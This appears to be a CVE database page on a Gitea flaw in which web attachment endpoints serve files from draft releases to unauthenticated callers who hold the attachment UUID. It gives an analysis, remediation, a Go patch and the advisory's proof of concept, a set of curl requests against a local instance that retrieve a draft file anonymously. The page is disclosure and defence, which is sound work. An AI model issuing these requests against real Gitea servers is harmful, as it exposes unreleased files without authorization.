Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthorized user copies browser_download_url to external channel
-
DeliveryAttacker extracts attachment UUID from leaked URL
-
ExploitAttacker issues unauthenticated GET /attachments/{uuid}
-
ExecutionServeAttachment checks only perm.CanRead, skips IsDraft flag
-
ImpactGitea returns draft attachment contents with HTTP 200
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must first obtain the UUID of a specific draft release attachment; brute-force is infeasible (122-bit UUIDv4 entropy). The UUID is exposed through the |
| Impact | The CVSS 3.1 vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N yields 5.9 (Medium), which accurately reflects the conditional nature of exploitation. Attack Complexity High is a genuine prerequisite: the attacker must first obtain the attachment UUID via a side channel, as brute-forcing 122-bit UUIDv4 entropy is infeasible. Once obtained, however, the attack requires no authentication and no user interaction, is trivially automatable (a single HTTP GET), and yields full contents of the draft attachment. The realistic side-channel vector is substantial: the |
| Exploit ScenarioDerived | A release engineer with write access to a public Gitea repository creates a draft release and uploads a pre-release signed binary, then copies the |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
Draft release attachment disclosure in Gitea exposes files uploaded to draft releases to unauthenticated network callers via UUID-based web endpoints, bypassing access controls that correctly gate the parallel API handlers. This is an incomplete fix for CVE-2026-27660: that advisory's PR #36659 added canAccessReleaseDraft checks to every API code path but left the web-side ServeAttachment handler ungated, allowing anyone who obtains an attachment UUID to download its contents with no authentication. A working proof-of-concept is documented in the advisory and confirmed against Gitea v1.27.0+dev; no public exploit identified at time of analysis beyond the advisory PoC, and the vulnerability does not appear in CISA KEV.
RemediationAI
Upgrade to Gitea v1.27.0 or later, which incorporates the fix via PRs #38318 (https://github.com/go-gitea/gitea/pull/38318) and #38325 (https://github.com/go-gitea/gitea/pull/38325). The fix adds a targeted release.IsDraft && !perm.CanWrite(unit.TypeReleases) gate inside ServeAttachment in routers/web/repo/attachment.go, matching the canAccessReleaseDraft behavior already present on the API surface. If an immediate upgrade is not possible, a compensating control is to restrict the web attachment routes (/attachments/, /{owner}/{repo}/attachments/, /{owner}/{repo}/releases/attachments/) at the reverse-proxy layer to require authentication; note this side-effect is that publicly downloadable attachments on published releases and public issues will also require login, potentially breaking public download flows. Alternatively, the targeted code patch provided in the advisory (a ~15-line addition to ServeAttachment) can be applied without a full upgrade; this has no UX or API-breaking side effects. The fix requires no data migration.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea (Go module code.gitea.io/gitea, CPE pkg:go/code.gitea.io_gitea) is a self-hosted Git forge. The root cause is CWE-862 (Missing Authorization) on a parallel code path - the NVD tag of CWE-200 is also applicable as the outcome, but the mechanism is an absent authorization check. The web handler ServeAttachment in routers/web/repo/attachment.go:122-203 resolves attachment metadata and checks only perm.CanRead(unitType) before serving the file. The service helper GetAttachmentLinkedTypeAndRepoID returns only (unit.TypeReleases, repoID) for release-linked attachments, discarding the release object and its IsDraft flag before returning. As a result, ServeAttachment has no visibility into whether the linked release is a draft. Four distinct web routes all converge on this unguarded function: /attachments/{uuid} (top-level), /{owner}/{repo}/attachments/{uuid} (issue-context and legacy), and /{owner}/{repo}/releases/attachments/{uuid} (release-context), all of which accept anonymous callers. The fix pattern - release.IsDraft && !perm.CanWrite(unit.TypeReleases) - mirrors the canAccessReleaseDraft function already present in the API layer since PR #36659.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
UUID side-channel is a genuine non-trivial precondition (AC:H); once obtained, no auth or interaction needed (PR:N, UI:N); impact is read-only confidentiality of draft attachment (C:H, I:N, A:N).
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
DescriptionCVE.org
Summary
Gitea's draft-release access control is enforced only on the API release endpoints (/api/v1/repos/{owner}/{repo}/releases/{id} and its /assets/... sub-routes) but not on the web-level UUID-based attachment endpoints (/attachments/{uuid}, /{owner}/{repo}/attachments/{uuid}, /{owner}/{repo}/releases/attachments/{uuid}). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.
The browser_download_url field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding canAccessReleaseDraft checks. The web mirror was missed.
Details
Root cause: the web-side handler ServeAttachment (routers/web/repo/attachment.go:122-203) checks only repo-level unit-read permission, never the IsDraft flag of the linked release:
// routers/web/repo/attachment.go:122-203, current implementation
func ServeAttachment(ctx *context.Context, uuid string) {
attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)
if err != nil { ... }
// cross-repo guard (only fires when accessed via repo-scoped URL)
if attach.CreatedUnix > repo_model.LegacyAttachmentMissingRepoIDCutoff &&
ctx.Repo.Repository != nil && ctx.Repo.Repository.ID != attach.RepoID {
ctx.HTTPError(http.StatusNotFound)
return
}
unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)
if unitType == unit.TypeInvalid {
if !(ctx.IsSigned && attach.UploaderID == ctx.Doer.ID) {
ctx.HTTPError(http.StatusNotFound)
return
}
} else {
var perm access_model.Permission
// ... resolves repo perm
if !perm.CanRead(unitType) { // <-- ONLY check
ctx.HTTPError(http.StatusNotFound)
return
}
// NO release.IsDraft check
// NO canAccessReleaseDraft equivalent
}
// ... serves the file
}The helper GetAttachmentLinkedTypeAndRepoID (services/repository/repository.go:185-207) returns (unit.TypeReleases, rel.RepoID) for release-linked attachments but discards the release object (including its IsDraft flag) before returning.
Mounted routes affected (all reach ServeAttachment via GetAttachment):
| File:line | Route | Auth gate |
|---|---|---|
routers/web/web.go:874 | GET /attachments/{uuid} (top-level) | optionsCorsHandler() + webAuth.AllowBasic + webAuth.AllowOAuth2, accepts anonymous |
routers/web/web.go:1284 | GET /{owner}/{repo}/attachments/{uuid} (issue-context) | repo context, anonymous OK |
routers/web/web.go:1473 | GET /{owner}/{repo}/releases/attachments/{uuid} (release-context) | webAuth.AllowBasic + webAuth.AllowOAuth2, anonymous OK |
routers/web/web.go:1491 | GET /{owner}/{repo}/attachments/{uuid} (legacy compatibility) | webAuth.AllowBasic + webAuth.AllowOAuth2, anonymous OK |
Reference: existing fix on the API surface (PR #36659, commit 1eced4a7c0, Feb 22 2026):
// routers/api/v1/repo/release.go:24-37, added by PR #36659
func canAccessReleaseDraft(ctx *context.APIContext) bool {
if !ctx.IsSigned || !ctx.Repo.Permission.CanWrite(unit.TypeReleases) {
return false
}
// ... API-token scope check
}canAccessReleaseDraft is called from GetRelease (line 80), ListReleases (line 178), GetReleaseAttachment (release_attachment.go:37), and ListReleaseAttachments (line 148). Every API code path now gates draft visibility on write access. The web-side ServeAttachment was not updated; it continues to gate only on read access, allowing anonymous and non-collaborator reads.
Suggested patch at routers/web/repo/attachment.go:166-172, extending the existing permission check to also gate draft releases on write access:
} else { // linked attachment
var perm access_model.Permission
if ctx.Repo.Repository == nil {
repo, err := repo_model.GetRepositoryByID(ctx, repoID)
if err != nil { ... }
perm, err = access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer)
if err != nil { ... }
} else {
perm = ctx.Repo.Permission
}
if !perm.CanRead(unitType) {
ctx.HTTPError(http.StatusNotFound)
return
}
// NEW: if linked to a draft release, require write access to releases
if unitType == unit.TypeReleases && attach.ReleaseID != 0 {
rel, err := repo_model.GetReleaseByID(ctx, attach.ReleaseID)
if err == nil && rel.IsDraft && !perm.CanWrite(unit.TypeReleases) {
ctx.HTTPError(http.StatusNotFound)
return
}
}
}Alternatively, GetAttachmentLinkedTypeAndRepoID could return the linked release object so the caller does not need a second DB read.
PoC
Tested against v1.27.0+dev-228-ga564f0587a (commit a564f0587a), default configuration, local-storage attachments.
Setup:
aliceowns public repoalice/alice-pubcarolis a registered user with no relationship toalice(no collaboration, no org membership)
Step 1: alice creates a confidential draft release and uploads a sensitive file:
$ DRAFT=$(curl -s -H "Authorization: token $ALICE_TOKEN" -H 'Content-Type: application/json' \
-d '{"tag_name":"v1.0-CONFIDENTIAL","target_commitish":"main",
"name":"INTERNAL PREVIEW","body":"unreleased build",
"draft":true,"prerelease":false}' \
http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases)
$ DID=$(echo "$DRAFT" | jq -r .id)
# e.g. 15
$ echo "TOP_SECRET_BUILD_ARTIFACT" > confidential.txt
$ ATT=$(curl -s -H "Authorization: token $ALICE_TOKEN" \
-F "attachment=@confidential.txt;filename=confidential.txt" \
http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)
$ UUID=$(echo "$ATT" | jq -r .uuid)
$ ATT_ID=$(echo "$ATT" | jq -r .id)
# UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a
# browser_download_url returned: http://127.0.0.1:3000/attachments/<UUID>Step 2: non-collaborator carol cannot see the draft via the API (correct):
$ curl -s -o /dev/null -w '%{http_code}\n' \
-H "Authorization: token $CAROL_TOKEN" \
http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID
404Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:
# (C) carol, top-level
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT
# <-- 200 OK, full content
# (D) carol, repo-scoped legacy
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT
# <-- 200 OK
# (E) carol, release-scoped web
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT
# <-- 200 OK
# (G) anonymous, top-level (NO auth header)
$ curl -s http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT
# <-- 200 OK, no auth needed at all
# (H) anonymous, repo-scoped legacy
$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT
# <-- 200 OKVerdict matrix:
| Endpoint | Carol (auth, non-collab) | Anonymous |
|---|---|---|
API /api/v1/.../releases/{id}/assets/{aid} | 404 (gated) | 404 (gated) |
API /api/v1/.../releases/{id}/assets | 404 (gated) | 404 (gated) |
Web /attachments/{uuid} | 200 LEAKS | 200 LEAKS |
Web /{owner}/{repo}/attachments/{uuid} | 200 LEAKS | 200 LEAKS |
Web /{owner}/{repo}/releases/attachments/{uuid} | 200 LEAKS | 200 LEAKS |
Web browser_download_url (as returned by API) | 200 LEAKS | 200 LEAKS |
Impact
Vulnerability class: Missing authorization (CWE-862) on a parallel code path that was overlooked when the same authorization check was added in a separate handler. This is an incomplete fix for CVE-2026-27660.
Why this is an exploitable vulnerability, not a "configure it differently" issue:
The Gitea draft-release feature exists for exactly one purpose: stage release content that is not yet meant to be public. The fix in PR #36659 (CVE-2026-27660) explicitly stated *"Draft release and its attachments need a write permission to access"* and accordingly gated GET /api/v1/repos/.../releases/{id} and GET /api/v1/repos/.../releases/{id}/assets/{aid} behind canAccessReleaseDraft. The web-side ServeAttachment handler (which is reachable from three separate routes on the same host as the API and serves the same underlying attachment object) was not updated. The result is that the security promise communicated to operators ("draft attachments are visible only to repo writers") is silently false on the web URLs that the API itself hands out in browser_download_url.
The maintainer cannot reframe this as "UUID is a capability token" because Gitea has already explicitly rejected that model on the API surface for this exact resource class two months ago. The threat model is identical; only the handler is different.
Real-world content that leaks under this bug:
Draft releases are routinely used to stage:
- Pre-release signed binaries (Windows MSIs, macOS notarized DMGs, Linux RPM/DEB) before publication: unauthenticated download of unannounced builds.
- Security-fix release candidates: pre-disclosure window for downstream patching, exploitable if the binary diff reveals the bug.
- Internal SBOMs, signing manifests, third-party license bundles: supply-chain reconnaissance.
- Release-key public-blob bundles, attestation files: key-rotation tracking by external observers.
- Build artifacts pinned to draft tags by CI pipelines that publish-on-merge: access to artifacts the release engineer hasn't decided to ship.
- CHANGELOG / release-notes drafts: pre-disclosure of upcoming features or vulns.
These are not hypothetical use cases. They are the documented and intended use of the draft-release feature on every git forge.
Realistic attack scenarios (insider-leak threat model, same as CVE-2026-27660):
- Browser-UI "Copy link" causes the URL to leave the trust boundary. A release engineer is preparing the next release and copies the
browser_download_urlto test the binary on a fresh VM, then pastes it into a Slack thread, a Jira ticket, an email to QA, or a commit message ("`
binary: $URL`"). Anyone who later reads that channel (including ex-employees, contractors who lost write access, or anyone scraping public Slack archives) has anonymous, unauthenticated, indefinite access to the draft binary.
- Reverse-proxy or observability stack records the URL. nginx, Caddy, HAProxy, Cloudflare, Datadog, Splunk, ELK: any HTTP-instrumentation pipeline records request paths. Anyone with log read access can extract UUIDs and pull the underlying attachment without authenticating to Gitea at all. For ELT pipelines that copy logs to cloud buckets or data lakes, that read access can be very broad.
- Browser history, Referer, extension telemetry. Once an authorized user downloads a draft attachment, the UUID-bearing URL lives in browser history, optional cloud-synced history (Chrome Sync, Edge Sync, Firefox Sync, recoverable on any signed-in device), browser extension telemetry, and any
Refererheader sent if the URL is loaded in a frame or via an inline asset. - Search-engine and mirror indexing. Internal portals, asset inventories, dependency scanners, and SaaS supply-chain tools that follow
browser_download_urlto index release artifacts will index the draft URL just like a published one. Once indexed, the URL is discoverable for as long as the index lives. - Embedded links in public content. A draft-release-attachment URL pasted into an issue comment, a PR description, a wiki page, or a README is rendered as a clickable
<a href>to any reader of that public page. Readers don't see the draft release itself but get the attachment behind the link they click.
Severity calibration via direct precedent:
| Property | CVE-2026-27660 (this finding's API mirror) | This finding |
|---|---|---|
| Vulnerability class | Missing authorization on draft release | Missing authorization on draft release attachments |
| Attack vector | Network | Network |
| Privileges required | None (relies on UUID/ID being leaked) | None (relies on UUID being leaked) |
| Attack complexity | High (must obtain UUID/ID) | High (must obtain UUID) |
| Confidentiality | High | High |
| Integrity / Availability | None | None |
| Fix complexity | ~5-line authz check added at handler entry | ~5-line authz check added at handler entry |
| Severity assigned by upstream | Medium | Should be Medium (5.9) by direct precedent |
If CVE-2026-27660 was accepted as a Medium-severity security advisory worth a dedicated PR, an identical bug in the web mirror of the same data is also Medium-severity. The maintainer cannot consistently rate this lower without retroactively downgrading their own previous fix.
CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N = 5.9 / Medium
AV:N: reachable over the network.AC:H: attacker must obtain the UUID via a leak channel (same prerequisite class as the upstream CVE).PR:N: no authentication required (anonymous works).UI:N: no user interaction required.S:U: scope unchanged (still bounded to Gitea's auth boundary; the draft release was supposed to be inside that boundary but isn't).C:H: full confidentiality breach of the attachment contents.I:N/A:N: read-only.
Out of scope: brute-forcing the UUID is infeasible (122 bits of UUIDv4 entropy). This is a confidentiality-loss bug, not an integrity or availability bug.
Deployment scale: Gitea is a top-three self-hosted forge (~30 k+ public Internet-reachable instances per Shodan, plus very large numbers of internal corporate deployments and Codeberg / Forgejo derivatives that inherit the same code). The bug is present in the default configuration; no operator action is required to make a deployment vulnerable.
Fix complexity: trivial. Add a release.IsDraft && !perm.CanWrite(unit.TypeReleases) check in ServeAttachment (single function, ~5 lines added). Patch is provided in the Details section. No data migration, no UX change, no breaking-API change.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
EUVD-2026-58159
GHSA-q9pg-jj6x-j9p6
NVD
CVE.org
EPSS
Exploit-DB